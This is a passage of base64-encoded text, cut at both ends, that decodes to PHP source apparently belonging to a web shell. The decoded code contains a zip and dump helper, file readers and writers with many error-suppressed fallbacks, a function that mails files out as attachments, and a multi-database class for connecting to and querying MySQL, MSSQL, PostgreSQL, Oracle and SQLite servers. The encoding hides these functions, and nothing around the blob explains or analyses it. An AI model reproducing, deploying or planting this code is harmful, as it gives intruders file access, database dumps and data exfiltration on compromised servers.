IGd6Y29tcHJlc3MoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpk
YXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCiAgICAgICAgJGNfbGVuICAgPSBzdHJs
ZW4oJHpkYXRhKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOyAgICAgICAg
ICAgICANCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjX2xlbik7ICAgICAgICAgICAN
CiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICR1bmNfbGVuKTsgICAgICAgICANCiAgICAg
ICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOyAgICANCiAgICAgICAgJGZy
ICAgICAgLj0gcGFjaygndicsIDApOyAgICAgICAgICAgICAgICANCiAgICAgICAgJGZyICAgICAg
Lj0gJG5hbWU7DQogICAgICAgICRmciAuPSAkemRhdGE7DQogICAgICAgICR0aGlzIC0+IGRhdGFz
ZWNbXSA9ICRmcjsNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAg
ICAkY2RyZWMgLj0gIlx4MDBceDAwIjsgICAgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAu
PSAiXHgxNFx4MDAiOyAgICAgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgw
MCI7ICAgICAgICAgICAgICAgIA0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsgICAgICAg
ICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSAkaGV4ZHRpbWU7ICAgICAgICAgICAgICAgICAN
CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsgICAgICAgICAgIA0KICAgICAgICAk
Y2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7ICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSBw
YWNrKCdWJywgJHVuY19sZW4pOyAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBz
dHJsZW4oJG5hbWUpICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAg
ICAgICAgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICANCiAg
ICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAgICAgICAgIA0KICAgICAgICAkY2Ry
ZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSBwYWNr
KCdWJywgMzIgKTsgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhp
cyAtPiBvbGRfb2Zmc2V0ICk7DQogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVu
KCRmcik7DQogICAgICAgICRjZHJlYyAuPSAkbmFtZTsNCiAgICAgICAgJHRoaXMgLT4gY3RybF9k
aXJbXSA9ICRjZHJlYzsNCiAgICB9DQogICAgZnVuY3Rpb24gZmlsZSgpDQogICAgew0KICAgICAg
ICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KICAgICAgICAkY3Ry
bGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCiAgICAgICAgcmV0dXJuDQog
ICAgICAgICAgICAkZGF0YSAuDQogICAgICAgICAgICAkY3RybGRpciAuDQogICAgICAgICAgICAk
dGhpcyAtPiBlb2ZfY3RybF9kaXIgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhp
cyAtPiBjdHJsX2RpcikpIC4gIA0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAt
PiBjdHJsX2RpcikpIC4gIA0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikp
IC4gICAgICAgICAgIA0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gICAg
ICAgICAgICAgIA0KICAgICAgICAgICAgIlx4MDBceDAwIjsgICAgICAgICAgICAgIA0KICAgIH0N
Cn0NCg0KZnVuY3Rpb24gY29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcykN
CiB7DQogICAgZ2xvYmFsICRjb250ZW50X2VuY29kaW5nOw0KICAgIGdsb2JhbCAkbWltZV90eXBl
Ow0KICAgIGlmICgkY29tcHJlc3MgPT0gJ2J6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29t
cHJlc3MnKSkgDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmJ6Mic7DQogICAgICAg
ICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7DQogICAgICAgICRmaWxlZHVtcCA9
IGJ6Y29tcHJlc3MoJGZpbGVkdW1wKTsNCiAgICAgfSANCiAgICAgZWxzZSBpZiAoJGNvbXByZXNz
ID09ICdnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSANCiAgICAgew0KICAg
ICAgICAkZmlsZW5hbWUgIC49ICcuZ3onOw0KICAgICAgICAkY29udGVudF9lbmNvZGluZyA9ICd4
LWd6aXAnOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtZ3ppcCc7DQogICAg
ICAgICRmaWxlZHVtcCA9IGd6ZW5jb2RlKCRmaWxlZHVtcCk7DQogICAgIH0gDQogICAgIGVsc2Ug
aWYgKCRjb21wcmVzcyA9PSAnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykp
IA0KICAgICB7DQogICAgICRmaWxlbmFtZSAuPSAnLnppcCc7DQogICAgICAgICRtaW1lX3R5cGUg
PSAnYXBwbGljYXRpb24vemlwJzsNCiAgICAgICAgJHppcGZpbGUgPSBuZXcgemlwZmlsZSgpOw0K
ICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRmaWxlbmFtZSwg
MCwgLTQpKTsNCiAgICAgICAgJGZpbGVkdW1wID0gJHppcGZpbGUgLT4gZmlsZSgpOw0KICAgICB9
IA0KICAgICBlbHNlIA0KICAgICB7DQogICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vb2N0
ZXQtc3RyZWFtJzsNCiAgICAgfQ0KIH0NCg0KZnVuY3Rpb24gbW9yZXJlYWQoJHRlbXApew0KZ2xv
YmFsICRsYW5nLCRsYW5ndWFnZTsNCiRzdHI9Jyc7DQogIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2Zv
cGVuJykmJkBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmdldHMn
KSYmQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpJiZAZnVuY3Rpb25fZXhpc3RzKCdmY2xvc2UnKSAm
JiAoJGZmaWxlID0gQGZvcGVuKCR0ZW1wLCAiciIpKSl7DQogICBpZigkZmZpbGUpew0KICAgICB3
aGlsZSghQGZlb2YoJGZmaWxlKSl7JHN0ciAuPSBAZmdldHMoJGZmaWxlKTt9Ow0KICAgICBmY2xv
c2UoJGZmaWxlKTsNCiAgIH0NCiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpJiZA
ZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpJiZAZnVuY3Rpb25fZXhpc3RzKCdmY2xvc2UnKSYmQGZ1
bmN0aW9uX2V4aXN0cygnZmlsZXNpemUnKSYmKCRmZmlsZSA9IEBmb3BlbigkdGVtcCwgInIiKSkp
ew0KICAgaWYoJGZmaWxlKXsNCiAgICAgJHN0ciA9IEBmcmVhZCgkZmZpbGUsIEBmaWxlc2l6ZSgk
dGVtcCkpOw0KICAgICBAZmNsb3NlKCRmZmlsZSk7DQogICB9DQogIH1lbHNlaWYoQGZ1bmN0aW9u
X2V4aXN0cygnZmlsZScpJiYoJGZmaWxlcyA9IEBmaWxlKCR0ZW1wKSkpew0KICAgZm9yZWFjaCAo
JGZmaWxlcyBhcyAkZmZpbGUpIHsgJHN0ciAuPSAkZmZpbGU7IH0NCiAgfWVsc2VpZihAZnVuY3Rp
b25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKXsNCiAgICRzdHIgPSBAZmlsZV9nZXRfY29u
dGVudHMoJHRlbXApOw0KICB9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3JlYWRmaWxlJykpew0K
ICAgJHN0ciA9IEByZWFkZmlsZSgkdGVtcCk7DQogIH1lbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygn
aGlnaGxpZ2h0X2ZpbGUnKSl7DQogICAkc3RyID0gQGhpZ2hsaWdodF9maWxlKCR0ZW1wKTsNCiAg
fWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdzaG93X3NvdXJjZScpKXsNCiAgICRzdHIgPSBAc2hv
d19zb3VyY2UoJHRlbXApOw0KICB9ZWxzZXtlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1Nidd
O30NCnJldHVybiAkc3RyOw0KfQ0KDQpmdW5jdGlvbiByZWFkemxpYigkZmlsZW5hbWUsJHRlbXA9
Jycpew0KZ2xvYmFsICRsYW5nLCRsYW5ndWFnZTsNCiRzdHI9Jyc7DQogIGlmKCEkdGVtcCkgeyR0
ZW1wPXRlbXBuYW0oQGdldGN3ZCgpLCAiY29weXRlbXAiKTt9Ow0KICBpZihAY29weSgiY29tcHJl
c3MuemxpYjovLyIuJGZpbGVuYW1lLCAkdGVtcCkpIHsNCiAgICRzdHIgPSBtb3JlcmVhZCgkdGVt
cCk7DQogIH0gZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTknXTsNCiAgQHVubGlu
aygkdGVtcCk7DQpyZXR1cm4gJHN0cjsNCn0NCg0KZnVuY3Rpb24gbW9yZXdyaXRlKCR0ZW1wLCRz
dHI9JycpDQp7DQpnbG9iYWwgJGxhbmcsJGxhbmd1YWdlOw0KIGlmKEBmdW5jdGlvbl9leGlzdHMo
J2ZvcGVuJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZndyaXRlJykgJiYgQGZ1bmN0aW9uX2V4aXN0
cygnZmNsb3NlJykgJiYgKCRmZmlsZT1AZm9wZW4oJHRlbXAsIndiIikpKXsNCiAgaWYoJGZmaWxl
KXsNCiAgIEBmd3JpdGUoJGZmaWxlLCRzdHIpOw0KICAgQGZjbG9zZSgkZmZpbGUpOw0KICB9DQog
fWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2Zw
dXRzJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmNsb3NlJykgJiYgKCRmZmlsZT1AZm9wZW4oJHRl
bXAsIndiIikpKXsNCiAgaWYoJGZmaWxlKXsNCiAgIEBmcHV0cygkZmZpbGUsJHN0cik7DQogICBA
ZmNsb3NlKCRmZmlsZSk7DQogIH0NCiB9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0
X2NvbnRlbnRzJykpew0KICAgQGZpbGVfcHV0X2NvbnRlbnRzKCR0ZW1wLCRzdHIpOw0KIH1lbHNl
IHJldHVybiAwOw0KcmV0dXJuIDE7DQp9DQoNCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9t
LCRzdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOw0KICRo
ZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50
LVR5cGU6ICIuJGF0dGFjaFsndHlwZSddOw0KICRoZWFkZXJzIC49ICI7IG5hbWU9XCIiLiRhdHRh
Y2hbJ25hbWUnXS4iXCJcclxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNv
ZGluZzogYmFzZTY0XHJcblxyXG4iOw0KICRoZWFkZXJzIC49IGNodW5rX3NwbGl0KGJhc2U2NF9l
bmNvZGUoJGF0dGFjaFsnY29udGVudCddKSkuIlxyXG4iOw0KIGlmKG1haWwoJHRvLCRzdWJqLCIi
LCRoZWFkZXJzKSkgeyByZXR1cm4gMTsgfQ0KIHJldHVybiAwOw0KIH0NCmNsYXNzIG15X3NxbA0K
IHsNCiB2YXIgJGhvc3QgPSAnbG9jYWxob3N0JzsNCiB2YXIgJHBvcnQgPSAnJzsNCiB2YXIgJHVz
ZXIgPSAnJzsNCiB2YXIgJHBhc3MgPSAnJzsNCiB2YXIgJGJhc2UgPSAnJzsNCiB2YXIgJGRiICAg
PSAnJzsNCiB2YXIgJGNvbm5lY3Rpb247DQogdmFyICRyZXM7ICAgICAgICANCiB2YXIgJGVycm9y
OyAgICAgIA0KIHZhciAkcm93czsgICAgICAgDQogdmFyICRjb2x1bW5zOyAgICAgDQogdmFyICRu
dW1fcm93czsgICANCiB2YXIgJG51bV9maWVsZHM7IA0KIHZhciAkZHVtcDsgICAgICAgDQogDQog
ZnVuY3Rpb24gY29ubmVjdCgpDQogIHsgICANCiAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICAgew0K
ICAgY2FzZSAnTXlTUUwnOiANCiAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBv
cnQgPSAnMzMwNic7IH0NCiAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcp
KSByZXR1cm4gMDsNCiAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBteXNxbF9jb25uZWN0KCR0aGlz
LT5ob3N0Lic6Jy4kdGhpcy0+cG9ydCwkdGhpcy0+dXNlciwkdGhpcy0+cGFzcyk7DQogICAgaWYo
aXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgIGJyZWFrOw0KICAg
Y2FzZSAnTVNTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0
ID0gJzE0MzMnOyB9DQogICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkg
cmV0dXJuIDA7DQogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNzcWxfY29ubmVjdCgkdGhpcy0+
aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAgICAgaWYo
JHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOw0KICAgYnJlYWs7DQogICBjYXNlICdQb3N0Z3Jl
U1FMJzoNCiAgICAgIGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyAkdGhpcy0+cG9ydCA9ICc1NDMy
JzsgfQ0KICAgICAgJHN0ciA9ICJob3N0PSciLiR0aGlzLT5ob3N0LiInIHBvcnQ9JyIuJHRoaXMt
PnBvcnQuIicgdXNlcj0nIi4kdGhpcy0+dXNlci4iJyBwYXNzd29yZD0nIi4kdGhpcy0+cGFzcy4i
JyBkYm5hbWU9JyIuJHRoaXMtPmJhc2UuIiciOw0KICAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMo
J3BnX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19j
b25uZWN0KCRzdHIpOw0KICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSBy
ZXR1cm4gMTsNCiAgIGJyZWFrOw0KICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgIGlmKCFAZnVuY3Rp
b25fZXhpc3RzKCdvY2lsb2dvbicpKSByZXR1cm4gMDsNCiAgICAgICR0aGlzLT5jb25uZWN0aW9u
ID0gQG9jaWxvZ29uKCR0aGlzLT51c2VyLCAkdGhpcy0+cGFzcywgJHRoaXMtPmJhc2UpOw0KICAg
ICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgIGJyZWFr
Ow0KICAgY2FzZSAnTXlTUUxpJzoNCiAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMt
PnBvcnQgPSAnMzMwNic7IH0NCiAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxpX2Nvbm5l
Y3QnKSkgcmV0dXJuIDA7DQogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxpX2Nvbm5lY3Qo
JHRoaXMtPmhvc3QsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MsJHRoaXMtPmJhc2UsJHRoaXMtPnBv
cnQpOw0KICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQog
ICBicmVhazsNCiAgIGNhc2UgJ21TUUwnOg0KICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdtc3Fs
X2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNxbF9jb25u
ZWN0KCR0aGlzLT5ob3N0Lic6Jy4kdGhpcy0+cG9ydCwkdGhpcy0+dXNlciwkdGhpcy0+cGFzcyk7
DQogICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgIGJy
ZWFrOw0KICAgY2FzZSAnU1FMaXRlJzoNCiAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnc3FsaXRl
X29wZW4nKSkgcmV0dXJuIDA7DQogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAc3FsaXRlX29wZW4o
JHRoaXMtPmJhc2UpOw0KICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0
dXJuIDE7DQogICBicmVhazsNCiAgICAgfQ0KICAgIHJldHVybiAwOyAgIA0KICB9DQogIA0KIGZ1
bmN0aW9uIHNlbGVjdF9kYigpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICBj
YXNlICdNeVNRTCc6DQogICBpZihAbXlzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5j
b25uZWN0aW9uKSkgcmV0dXJuIDE7DQogIGJyZWFrOw0KICBjYXNlICdNU1NRTCc6DQogICBpZihA
bXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7
DQogIGJyZWFrOw0KICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgcmV0dXJuIDE7DQogIGJyZWFr
Ow0KICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gMTsNCiAgYnJlYWs7DQogIGNhc2UgJ015
U1FMaSc6DQogICAgIHJldHVybiAxOw0KICBicmVhazsNCiAgY2FzZSAnbVNRTCc6DQogICAgIGlm
KEBtc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAx
Ow0KICBicmVhazsNCiAgY2FzZSAnU1FMaXRlJzoNCiAgICAgcmV0dXJuIDE7DQogIGJyZWFrOw0K
ICAgIH0NCiByZXR1cm4gMDsgIA0KICB9DQogIA0KIGZ1bmN0aW9uIHF1ZXJ5KCRxdWVyeSkNCiAg
eyANCiAgICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikN
CiAgICB7DQogIGNhc2UgJ015U1FMJzogDQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG15
c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIA0K
ICAgICAgeyANCiAgICAgICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJvcigkdGhpcy0+Y29ubmVj
dGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0gDQogICAgIGVsc2UgaWYoaXNfcmVzb3Vy
Y2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0gICAgICAgICAgICAgICAgICAgDQogICAgIHJl
dHVybiAyOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICANCiAgYnJlYWs7DQogIGNhc2UgJ01TU1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRo
aXMtPnJlcz1AbXNzcWxfcXVlcnkoJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIA0KICAgICAg
ew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsNCiAgICAgIHJldHVybiAwOw0K
ICAgICAgfQ0KICAgICAgZWxzZSBpZihAbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7
IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOyAgICAgDQogIGJyZWFrOw0KICBjYXNlICdQb3N0
Z3JlU1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNv
bm5lY3Rpb24sJHF1ZXJ5KSkpDQogICAgICB7DQogICAgICAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFz
dF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAg
ICAgIGVsc2UgaWYoQHBnX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0K
ICAgICByZXR1cm4gMjsgDQogIGJyZWFrOw0KICBjYXNlICdPcmFjbGUnOg0KICAgICBpZihmYWxz
ZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAg
ICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7DQogICAgICB9
DQogICAgIGVsc2UgDQogICAgICB7IA0KICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykp
IA0KICAgICAgIHsNCiAgICAgICBpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykgIT0gMCkgcmV0
dXJuIDI7DQogICAgICAgcmV0dXJuIDE7DQogICAgICAgfQ0KICAgICAgJGVycm9yID0gQG9jaWVy
cm9yKCk7DQogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IA0KICAgICAgfQ0K
ICBicmVhazsNCiAgY2FzZSAnTXlTUUxpJzogDQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9
QG15c3FsaV9xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkgDQogICAgICB7IA0KICAg
ICAgJHRoaXMtPmVycm9yID0gQG15c3FsaV9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQogICAg
ICByZXR1cm4gMDsNCiAgICAgIH0gDQogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJl
cykpIHsgcmV0dXJuIDE7IH0gICAgICAgICAgICAgICAgICAgDQogICAgIHJldHVybiAyOyAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAg
YnJlYWs7DQogIGNhc2UgJ21TUUwnOiANCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNx
bF9xdWVyeSgkcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkgDQogICAgICB7IA0KICAgICAgJHRo
aXMtPmVycm9yID0gQG1zcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgICAgcmV0dXJu
IDA7DQogICAgICB9IA0KICAgICBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7IHJl
dHVybiAxOyB9ICAgICAgICAgICAgICAgICAgIA0KICAgICByZXR1cm4gMjsgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogIGJyZWFrOw0K
ICBjYXNlICdTUUxpdGUnOiANCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1Ac3FsaXRlX3F1
ZXJ5KCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKSANCiAgICAgIHsgDQogICAgICAkdGhpcy0+
ZXJyb3IgPSBAc3FsaXRlX2Vycm9yX3N0cmluZygkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgICBy
ZXR1cm4gMDsNCiAgICAgIH0gDQogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykp
IHsgcmV0dXJuIDE7IH0gICAgICAgICAgICAgICAgICAgDQogICAgIHJldHVybiAyOyAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgYnJl
YWs7DQogICAgfQ0KICByZXR1cm4gMDsNCiAgfQ0KIGZ1bmN0aW9uIGdldF9yZXN1bHQoKQ0KICB7
IA0KICAgJHRoaXMtPnJvd3M9YXJyYXkoKTsNCiAgICR0aGlzLT5jb2x1bW5zPWFycmF5KCk7DQog
ICAkdGhpcy0+bnVtX3Jvd3M9JHRoaXMtPm51bV9maWVsZHM9MDsNCiAgIHN3aXRjaCgkdGhpcy0+
ZGIpDQogICAgew0KICBjYXNlICdNeVNRTCc6DQogICAkdGhpcy0+bnVtX3Jvd3M9QG15c3FsX251
bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAgJHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVs
ZHMoJHRoaXMtPnJlcyk7DQogICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlz
cWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsgDQogICBAbXlzcWxfZnJlZV9yZXN1bHQoJHRo
aXMtPnJlcyk7DQogICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5
X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogIGJyZWFrOw0KICBjYXNlICdNU1NR
TCc6DQogICAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAg
JHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7ICAgIA0KICAg
d2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlz
LT5yZXMpKSk7DQogICBAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogICBpZigkdGhp
cy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0p
OyByZXR1cm4gMTt9Ow0KICBicmVhazsNCiAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAkdGhpcy0+
bnVtX3Jvd3M9QHBnX251bV9yb3dzKCR0aGlzLT5yZXMpOyANCiAgICR0aGlzLT5udW1fZmllbGRz
PUBwZ19udW1fZmllbGRzKCR0aGlzLT5yZXMpOyAgIA0KICAgd2hpbGUoZmFsc2UgIT09ICgkdGhp
cy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogICBAcGdfZnJlZV9y
ZXN1bHQoJHRoaXMtPnJlcyk7DQogICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5z
ID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogIGJyZWFrOw0KICBj
YXNlICdPcmFjbGUnOg0KICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1Ab2NpbnVtY29scygkdGhpcy0+
cmVzKTsNCiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9h
c3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOw0KICAgICBAb2NpZnJlZXN0YXRl
bWVudCgkdGhpcy0+cmVzKTsNCiAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1u
cyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICBicmVhazsNCiAg
Y2FzZSAnTXlTUUxpJzoNCiAgICAgJHRoaXMtPm51bV9yb3dzPUBteXNxbGlfbnVtX3Jvd3MoJHRo
aXMtPnJlcyk7DQogICAgICR0aGlzLT5udW1fZmllbGRzPUBteXNxbGlfbnVtX2ZpZWxkcygkdGhp
cy0+cmVzKTsNCiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG15c3FsaV9m
